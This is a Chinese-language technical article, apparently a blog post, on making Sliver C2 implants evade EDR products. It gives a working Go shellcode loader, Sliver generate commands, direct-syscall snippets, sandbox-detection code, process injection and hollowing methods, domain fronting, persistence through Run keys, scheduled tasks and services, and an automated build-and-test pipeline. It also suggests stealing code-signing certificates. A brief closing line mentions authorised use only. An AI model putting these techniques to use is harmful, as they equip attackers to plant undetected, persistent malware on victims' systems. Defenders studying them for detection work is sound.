Sliver C2载荷免杀混淆实战:对抗现代EDR的多层防御体系 1. 项目概述当Sliver C2遇上现代EDR在红蓝对抗和渗透测试的实战中Sliver C2框架以其强大的功能和灵活性成为了许多安全研究者和渗透测试人员的首选工具。然而随着企业安全防御体系的升级尤其是端点检测与响应EDR产品的普及Sliver生成的默认植入体Implant在目标主机上的生存时间正变得越来越短。一个未经处理的Sliver可执行文件几乎会在落地瞬间就被主流EDR标记并查杀。这催生了一个核心的实战需求如何让Sliver Implant绕过EDR的检测实现持久、隐蔽的驻留这正是“免杀”与“混淆”技术所要解决的核心问题。简单来说这个项目探讨的并非Sliver框架本身的使用而是围绕其生成的最终载荷Payload进行“后期加工”的生存艺术。EDR的检测逻辑是多维度的包括静态特征扫描如文件哈希、字符串、导入表、动态行为监控如进程创建、网络连接、内存操作以及机器学习模型分析。我们的目标就是通过一系列技术手段系统地干扰和规避这些检测点将Sliver Implant“伪装”成一个看似无害的合法程序。这不仅需要对Sliver的生成机制有深入理解更需要熟悉PE文件结构、Windows API、编译器行为以及反病毒/EDR产品的常见检测模式。接下来我将结合多年一线实战经验拆解从思路到落地的完整方案。2. 核心思路拆解对抗EDR的多层防御体系面对现代EDR单一的免杀技术往往效果有限。一个稳健的思路是构建一个多层次的防御体系从不同维度增加EDR的分析难度和误判概率。我们的核心策略可以概括为“改变静态特征规范动态行为利用合法上下文”。2.1 静态免杀抹去显而易见的“指纹”静态分析是EDR的第一道关卡主要扫描文件在磁盘上的特征。字符串混淆Sliver默认生成的Implant中会包含大量特征字符串如C2服务器地址、配置参数、函数名等。直接使用字符串搜索就能轻易定位。解决方案是对所有字符串进行加密或编码如XOR、AES、Base64在运行时动态解密使用。更进一步可以避免在全局区定义字符串而是通过栈动态构造或从资源段读取。导入表IAT混淆与动态解析Implant必然会调用敏感API如VirtualAlloc,CreateProcess,WriteProcessMemory。这些API在导入表中会留下清晰痕迹。我们可以动态加载使用LoadLibrary和GetProcAddress在运行时解析所需API避免在编译期将其写入IAT。哈希处理不直接使用API名称字符串而是计算其哈希值如ROR13哈希运行时遍历模块导出表进行哈希比对来获取函数地址。间接调用通过合法的、白名单程序如svchost.exe,rundll32.exe来代理执行敏感操作即所谓的“Living-off-the-Land Binaries”LOLBins技术。代码混淆与变形使用混淆器对生成的Shellcode或PE文件进行混淆打乱控制流、插入垃圾指令、等价指令替换等使得反汇编代码难以阅读干扰基于签名的检测和简单的静态分析引擎。OLLVMObfuscator-LLVM是一个著名的开源项目级混淆框架但其模式已被广泛研究需配合自定义Pass使用。签名与证书为最终的可执行文件签署有效的代码签名证书即使是自签名证书在某些宽松策略下也可能有效。这能绕过一些基于“无签名或无效签名”的启发式检测。更高级的做法是窃取或滥用合法软件的证书进行签名。2.2 动态免杀让行为“看起来正常”动态行为分析是EDR更强大的能力它监控进程的运行时行为。执行流伪装进程注入与迁移Implant不直接以独立进程运行而是将代码注入到一个可信的、已存在的系统进程如explorer.exe,svchost.exe或常用软件进程中。这能借用宿主进程的信任状和上下文。进程镂空Process Hollowing创建一个合法进程的挂起实例将其内存“挖空”替换为自己的恶意代码然后恢复执行。从外部看它仍然是一个合法进程。DLL劫持/侧加载将Implant功能封装为DLL利用应用程序搜索DLL的路径顺序缺陷将恶意DLL放置在合法程序目录下诱使合法程序加载它。内存操作规避直接调用VirtualAlloc申请可读可写可执行RWX的内存页是高度可疑的行为。可以改为先申请可读可写RW内存写入Shellcode再使用VirtualProtect将其改为可执行X。利用已有的、具有可执行权限的内存区域如.text段末尾的空白区或某些大型合法模块如ntdll.dll中的代码洞Code Cave。网络流量伪装Sliver的C2通信协议可能有特征。可以使用HTTPS等加密协议并将通信流量伪装成与合法网站的交互如模仿浏览器User-Agent请求常见的/api/v1/、/static/等路径。使用域前置Domain Fronting技术将流量先发送到CDN等大型可信服务商再转发到真实C2。将通信数据嵌入到常见协议如DNS TXT记录、ICMP中进行隐蔽信道传输。2.3. 环境感知与反沙箱高级Implant应具备环境感知能力避免在分析环境中暴露。沙箱检测检测虚拟机/沙箱环境特征如特定的进程、文件、注册表项、硬件信息内存大小、CPU核心数少、用户交互行为缺失等。如果检测到沙箱则执行无害代码或直接退出。调试器检测检查是否被调试器附加IsDebuggerPresent,CheckRemoteDebuggerPresent 或通过NtQueryInformationProcess查询ProcessDebugPort或检测硬件断点等。睡眠混淆避免使用简单的Sleep函数这容易被沙箱加速跳过。可以使用计算密集型循环、或基于等待定时器、事件等更复杂的方式实现延迟。3. 实操方案一基于Sliver原生功能的混淆与生成Sliver本身提供了一些基础的免杀和混淆功能这是我们的起点。3.1 使用Sliver的代码混淆器CodenamesSliver支持在生成Implant时使用“Codenames”功能这本质上是一种轻量级的代码混淆。# 生成一个Windows可执行文件并使用混淆 sliver generate --mtls your.c2.server --save /tmp --format exe --os windows --arch amd64 --debug --obfuscate原理浅析Sliver的混淆器主要会对生成的Shellcode或PE中的部分代码进行等价指令替换、寄存器交换、插入空操作NOP指令等。这能改变文件的二进制特征绕过一些基于简单模式匹配的静态签名。局限性这种混淆是相对基础的对于使用了机器学习静态分析或深度行为监控的现代EDR可能很快就会被穿透。它更适合用于对抗传统的、特征库更新不及时的杀毒软件AV。3.2 分阶段载荷Staged Payload与外壳程序Loader这是更有效且灵活的策略。不直接生成完整的Implant而是生成一个非常小的、职责单一的“下载器”Loader。生成Shellcode使用Sliver生成纯Shellcode格式的载荷。sliver generate --mtls your.c2.server --save /tmp --format shellcode --os windows --arch amd64这会得到一个.bin文件其中只包含核心功能代码没有PE头等结构。编写自定义Loader使用C/C、Go、Rust等语言编写一个独立的加载程序。这个Loader的职责是以某种隐蔽方式获取Shellcode例如从远程服务器下载、从自身资源节读取、解密硬编码的数据。在内存中分配空间并写入Shellcode。改变内存属性为可执行。跳转到Shellcode执行。对Loader进行重点免杀由于Loader代码简单、逻辑清晰我们可以对它实施更极致的免杀处理使用上述的字符串加密、动态API解析技术。使用MSFVenom的shikata_ga_nai编码器或其他编码器对Shellcode进行多次编码Loader内嵌解码器。将Loader编译为控制台程序或DLL根据场景选择。使用不同编译器如MinGW、TinyCC或编译选项如静态链接、关闭调试信息生成Loader以改变其二进制特征。实操心得在编写Loader时务必处理好Shellcode的“落地”问题。避免将解密后的明文Shellcode连续存放在malloc或new申请的新堆内存中因为EDR可能会扫描这些新申请的可执行内存。一个技巧是使用VirtualAlloc配合MEM_RESERVE和MEM_COMMIT分步申请或者尝试在已有内存区域中寻找空隙。此外Loader本身的文件名、图标、版本信息等资源也要伪装得像一个普通工具。4. 实操方案二第三方工具链深度混淆与打包当Sliver原生功能不够时我们需要引入外部工具链构建一个自动化或半自动化的混淆流水线。4.1 使用Donut将PE文件转换为ShellcodeDonut是一个强大的工具它可以将整个.NET程序集或本地PE文件转换为位置无关的Shellcode。这对于Sliver Implant的后续处理非常有用。生成Sliver ImplantEXE。使用Donut转换donut.exe -f sliver_implant.exe -o sliver_shellcode.bin现在你得到了一个包含完整Implant功能的Shellcode。嵌入到新载体将这个Shellcode嵌入到我们4.2或4.3中编写的、经过高度免杀处理的Loader中。这样Loader的职责就从“下载并执行”变成了“解密并执行本地Shellcode”网络行为可以完全由Shellcode内部的C2逻辑控制增加了灵活性。4.2 使用Go语言编写高级Loader并交叉编译Go语言编写的程序是静态链接的单个可执行文件包含所有依赖非常适合做Loader。而且Go有丰富的密码学库便于实现加密。package main import ( crypto/aes crypto/cipher syscall unsafe ) // 加密的Sliver Shellcode (此处应为实际加密后的字节数组) var encryptedShellcode []byte{/* ... */} func main() { // 1. 解密Shellcode key : []byte(32-byte-long-key-here-need-to-change!) block, _ : aes.NewCipher(key) stream : cipher.NewCTR(block, key[:aes.BlockSize]) shellcode : make([]byte, len(encryptedShellcode)) stream.XORKeyStream(shellcode, encryptedShellcode) // 2. 分配内存 (使用Windows API调用需动态解析) kernel32 : syscall.NewLazyDLL(kernel32.dll) virtualAlloc : kernel32.NewProc(VirtualAlloc) addr, _, _ : virtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40) // MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE // 3. 复制Shellcode到内存 copy((*[1 30]byte)(unsafe.Pointer(addr))[:len(shellcode)], shellcode) // 4. 创建线程执行 createThread : kernel32.NewProc(CreateThread) thread, _, _ : createThread.Call(0, 0, addr, 0, 0, 0) // 5. 等待线程结束 waitForSingleObject : kernel32.NewProc(WaitForSingleObject) waitForSingleObject.Call(thread, 0xFFFFFFFF) }免杀要点使用//go:embed指令将加密后的Shellcode嵌入到二进制中避免单独文件。编译时使用-ldflags-s -w -Hwindowsgui去除符号表和调试信息并编译为GUI程序减少黑窗口。使用garble等Go代码混淆工具对Loader源码进行混淆再编译。交叉编译到不同平台GOOSwindows GOARCHamd64 go build -o loader.exe main.go。4.3 使用C结合LLVM-Obfuscator编译对于追求极致性能和控制的场景可以使用C编写Loader并利用修改版的LLVM如OLLVM进行编译时混淆。编写C Loader实现动态解析API、字符串加密、反调试等逻辑。集成OLLVM在编译时通过Clang传递混淆参数。clang loader.cpp -o loader.exe -mllvm -fla -mllvm -sub -mllvm -bcf-fla: 控制流扁平化打破简单的代码块顺序。-sub: 指令替换用更复杂的指令序列替换简单指令。-bcf: 虚假控制流插入永远不会执行的条件分支和代码块。后续处理编译后还可以使用UPX、VMProtect等加壳工具进行压缩或加密但要注意这些工具本身也可能有特征需要选择冷门版本或进行修改。注意事项OLLVM等混淆会显著增加代码体积和降低执行效率可能引入不稳定因素。在实战中需要权衡。此外过度混淆的二进制文件本身“看起来就不正常”可能触发EDR的“异常结构”或“熵值过高”的启发式警报。因此混淆要适度目标是融入背景噪音而不是成为噪音本身。5. 动态行为伪装与进程注入实战静态免杀过关后我们需要确保运行时行为不触发EDR的行为规则。5.1 直接系统调用Syscall的运用现代EDR大量使用用户态钩子User-mode Hook来监控对关键API如NtAllocateVirtualMemory,NtCreateThreadEx的调用。绕过钩子的一种方法是直接进行系统调用。原理不通过kernel32.dll或ntdll.dll的导出函数而是直接组装对应的系统调用号SSN通过syscall指令陷入内核。这样跳过了被EDR钩子挂钩的ntdll函数。实现方式硬编码SSN不同Windows版本的系统调用号不同兼容性差。动态解析SSN从内存中未被钩子污染的ntdll.dll副本里解析出系统调用号。这需要实现一个简单的PE解析器。示例片段概念在C中内联汇编或使用编译器 intrinsics 来执行syscall指令。使用Go时有类似golang.org/x/sys/windows的包但更底层的调用需要自己实现。// 简化的概念性代码实际需要处理参数、SSN查找等 uintptr_t syscall_nt_allocate_virtual_memory(uintptr_t handle, void** addr, ...) { uintptr_t ssn find_ssn(“NtAllocateVirtualMemory”); // 动态查找SSN __asm__( “mov r10, rcx\n” “mov eax, %0\n” // SSN 放入 eax “syscall\n” :“:”r”(ssn) :“r10”, “rax”, “memory” ); }重要提醒直接系统调用本身正在成为EDR新的检测点。一些EDR会监控非标准路径的syscall指令例如不从ntdll.dll内存区域发起的syscall。因此更高级的技术是“地狱之门”Hell‘s Gate或“地狱之桌”Halos‘s Gate技术它们从被钩子的ntdll中读取合法的SSN然后跳转到ntdll中syscall指令前的地址去执行从而既使用了正确的SSN又绕过了函数开头的钩子。5.2 进程注入技术选型与实现选择一个合适的注入技术至关重要。经典远程线程注入CreateRemoteThreadWriteProcessMemory。这是最经典但也是最容易被检测的因为WriteProcessMemory写入远程进程后立即创建远程线程执行行为非常明显。进程镂空Process Hollowing以挂起方式创建合法进程如C:\Windows\System32\svchost.exe。使用NtUnmapViewOfSection或类似方法清空其主模块内存。在目标进程内分配新内存写入Shellcode。通过SetThreadContext修改入口点然后恢复线程。检测点挂起进程的创建、内存区域被清空后又被写入、入口点被修改。DLL反射注入Reflective DLL Injection将DLL本身作为数据写入目标进程然后由该进程内的Loader代码手动执行DLL的加载逻辑解析PE头、重定位、修复导入表等而不依赖LoadLibraryA。这避免了DLL落地和调用标准加载器。早期Bird APC注入将Shellcode作为异步过程调用APC对象排队到目标进程的线程中当该线程进入可警报状态时执行。可以结合进程创建挂起在目标进程主线程执行任何代码之前即早期插入APC。线程劫持Thread Hijacking挂起目标进程中的一个现有线程将其上下文如指令指针RIP修改为指向我们的Shellcode执行完后再恢复原上下文。这比创建新线程更隐蔽。实操心得选择与组合。没有一种注入技术是银弹。在实战中我倾向于根据目标环境选择。对于有严格EDR的环境可以组合使用使用svchost.exe -k参数创建看起来正常的服务宿主进程。采用进程镂空但不清空全部内存只替换部分代码段保持大部分内存和线程上下文原样更为隐蔽。结合直接系统调用或地狱之门技术来执行关键的内存和线程操作。注入后Implant应尽快迁移到另一个更稳定的进程如explorer.exe并清理初始注入进程中的痕迹。6. 网络通信隐蔽与流量伪装C2通信是EDR和网络检测设备NDR的重点监控对象。6.1 使用Sliver的HTTP(S)监听器与伪装配置Sliver支持HTTP/HTTPS监听器并提供了丰富的伪装选项。sliver http [*] Starting HTTP :80 listener... sliver profiles [*] Saved new implant profile sliver_http # 生成时指定HTTP监听器并设置伪装参数 sliver generate --http http://your.c2.server --format exe --os windows --save /tmp --canary yourdomain.com --limit-domain-linkedin.com--canary: 设置一个“金丝雀”域名Implant会先尝试连接此域名如果连通则可能处于测试环境可触发退出等行为。--limit-domain: 限制Implant仅回连到指定域名的证书。这可以强制流量走向特定服务器配合域前置使用。在HTTP监听器配置中可以自定义User-Agent、设置额外的HTTP头部、指定合法的服务器端证书等使流量看起来像正常的浏览器访问。6.2 域前置Domain Fronting技术该技术利用CDN等服务的特性让Implant实际连接的是C2服务器但在网络流量上看它只是在与一个大型可信域名如*.cloudfront.net,*.azureedge.net通信。原理Implant配置的回连地址是CDN的边缘节点域名Front Domain如d111aaa.cloudfront.net。在TLS握手阶段SNI扩展它出示这个前端域名。握手完成后在HTTP层的Host头里它指定实际的后端C2域名Origin Domain。合规的CDN会根据Host头将请求转发到后端。在Sliver中的实现需要配置支持域前置的CDN如CloudFront, Azure Front Door。在Sliver服务器端配置对应的证书和域名。生成Implant时回连地址填写前端域名。现状由于该技术被滥用主流CDN服务商已加强了对SNI和Host头不匹配情况的检测和限制纯HTTP域前置已很难生效。目前更可行的是使用域隐藏Domain Hiding即SNI字段也使用前端域名或甚至为空这需要更复杂的配置。6.3 备用信道与协议模仿DNS隧道将C2指令和数据编码在DNS查询和响应中。Sliver支持DNS监听器。这能绕过只监控HTTP/HTTPS流量的设备但速度慢且异常的DNS查询模式长域名、高频率、TXT记录请求也容易被检测。ICMP隧道利用ICMP Echo请求和回复即ping包的数据字段携带信息。隐蔽性较高但同样存在带宽低和模式异常的问题。模仿合法协议这是更高级的做法。例如将通信数据伪装成云存储同步模仿Dropbox、OneDrive的API调用。聊天软件心跳模仿Slack、Discord的WebSocket通信。监控数据上报模仿Prometheus、StatsD的指标推送。 这需要编写自定义的Sliver传输层Transport难度较大但效果最好。注意事项流量伪装的核心是“模仿得像”。除了协议格式还要注意节奏。一个正常的用户不会在凌晨3点以每秒一次的频率访问某个API。Implant的心跳和重连间隔应该随机化并模拟人类或合法软件的行为模式。此外所有网络通信应全程使用TLS加密避免载荷明文传输。7. 环境感知、反调试与持久化一个成熟的Implant需要具备“隐身”和“生存”能力。7.1 沙箱与虚拟机检测在Shellcode或Loader的入口处加入环境检查如果发现是分析环境则执行无害路径。BOOL IsSandboxed() { // 检查内存大小 MEMORYSTATUSEX memStat; memStat.dwLength sizeof(memStat); GlobalMemoryStatusEx(memStat); if ((memStat.ullTotalPhys / (1024 * 1024 * 1024)) 2) return TRUE; // 小于2GB可能是沙箱 // 检查CPU核心数 SYSTEM_INFO sysInfo; GetSystemInfo(sysInfo); if (sysInfo.dwNumberOfProcessors 2) return TRUE; // 检查磁盘大小 ULARGE_INTEGER freeBytes; GetDiskFreeSpaceExA(“C:\\”, NULL, NULL, freeBytes); if ((freeBytes.QuadPart / (1024 * 1024 * 1024)) 20) return TRUE; // 磁盘小于20GB // 检查常见沙箱进程 const char* sandboxProcesses[] {“vmsrvc.exe”, “vboxservice.exe”, “vmwaretray.exe”, “xenservice.exe”}; for (int i 0; i 4; i) { if (ProcessExists(sandboxProcesses[i])) return TRUE; } // 检查用户交互鼠标移动、键盘输入 // ... 实现略 ... return FALSE; }7.2 反调试技巧API检查IsDebuggerPresent(),CheckRemoteDebuggerPresent()。PEB字段检查通过NtQueryInformationProcess或直接访问进程环境块PEB中的BeingDebugged标志。硬件断点检测检查Dr0-Dr7调试寄存器。时间差检测在代码段首尾记录时间戳如果中间被单步调试时间差会异常大。陷阱标志检测设置陷阱标志并捕获异常调试器存在时异常处理流程会不同。7.3 持久化机制获得初始执行后需要建立持久化以确保重启后仍在。注册表Run键HKCU\Software\Microsoft\Windows\CurrentVersion\Run或HKLM对应位置。这是最常见也最容易被检查的。计划任务使用schtasks创建定时任务可以设置为用户登录时、系统空闲时触发更为隐蔽。服务安装将Implant注册为Windows服务需要管理员权限但隐蔽性高可以设置为延迟启动或触发启动。启动文件夹%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup。文件关联劫持修改例如.txt文件的关联程序使其先执行我们的Loader再打开记事本。Bitsadmin或WMI事件订阅利用Windows内置工具创建事件订阅在特定事件如网络连接、进程创建发生时触发执行。实操心得持久化方式不宜过多一到两种足矣且要选择与目标环境相符的方式。在高度安全的环境中注册表Run键和启动文件夹会被严格监控。计划任务和服务是更好的选择但要注意服务名、描述、映像路径的伪装。持久化的Payload最好是分阶段的即持久化安装的只是一个轻量级下载器它负责在系统启动后从远程拉取真正的Stage2载荷这样便于更新和更换C2基础设施。8. 测试、迭代与自动化免杀是一个持续对抗的过程没有一劳永逸的方案。8.1 搭建本地测试环境虚拟机环境准备多个干净的Windows虚拟机Win10, Win11 不同版本。安装EDR/AV产品安装你想要测试的EDR产品如Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne等的试用版或评估版。同时也可以安装传统杀软作为基线参考。隔离网络确保测试环境与生产网络隔离C2服务器也搭建在本地虚拟网络中。8.2 测试流程静态扫描测试将生成好的Implant可执行文件上传到在线多引擎扫描平台如VirusTotal注意VT会共享样本给安全厂商导致特征快速扩散仅用于最终验证或测试已公开的样本。更好的方法是使用本地EDR的扫描功能。动态行为测试在测试虚拟机中执行Implant。观察EDR控制台是否产生警报如恶意进程创建、内存注入、可疑网络连接等。使用Process Monitor, Process Hacker, Wireshark等工具监控Implant的实际行为看是否与设计一致有无意外行为暴露。内存扫描测试一些EDR会进行内存扫描。让Implant在系统中静置一段时间如几小时观察是否被后续的内存扫描检出。8.3 自动化构建流水线为了提高效率可以建立一个简单的自动化脚本将上述步骤串联起来。#!/bin/bash # 一个简化的概念性流水线脚本 set -e echo “[1] 生成Sliver Shellcode...” sliver-cli generate --http http://c2.local --format shellcode --os windows --arch amd64 --save ./payload.bin echo “[2] 使用自定义加密器加密Shellcode...” python encrypt_shellcode.py payload.bin payload_enc.bin echo “[3] 编译Go Loader (已嵌入加密后的Shellcode)...” GOOSwindows GOARCHamd64 go build -ldflags”-s -w -Hwindowsgui” -o implant.exe ./loader echo “[4] 使用UPX压缩 (可选) ...” upx --best implant.exe -o implant_upx.exe echo “[5] 复制到测试虚拟机...” scp implant_upx.exe testvm192.168.1.100:/tmp/ echo “[6] 执行测试...” # 通过SSH在测试机上执行并触发EDR扫描 ssh testvm192.168.1.100 “powershell -c ‘Start-Process C:\tmp\implant_upx.exe; Start-Sleep -Seconds 30; ‘C:\Program Files\EDR\scanner.exe’ C:\tmp\implant_upx.exe’”这个脚本只是一个示意实际流水线可能包括更多的步骤如混淆、签名、多版本编译等。关键在于每次对Loader或混淆方式做出修改后都能快速生成新样本并进行测试通过迭代优化来绕过检测。免杀与混淆是一场永无止境的攻防博弈。本文阐述的思路和方案是基于当前阶段常见EDR检测逻辑的应对之策。随着EDR技术的演进特别是基于AI/ML的行为检测和威胁狩猎能力的提升未来的对抗将更加侧重于行为的“本质正常化”和“上下文融合”。作为防御方理解这些攻击技术才能更好地构建检测规则作为渗透测试方在合法授权范围内精通这些技术则能更有效地评估客户的实际防御水位。记住所有技术都应在法律和道德许可的范围内使用。

本月热点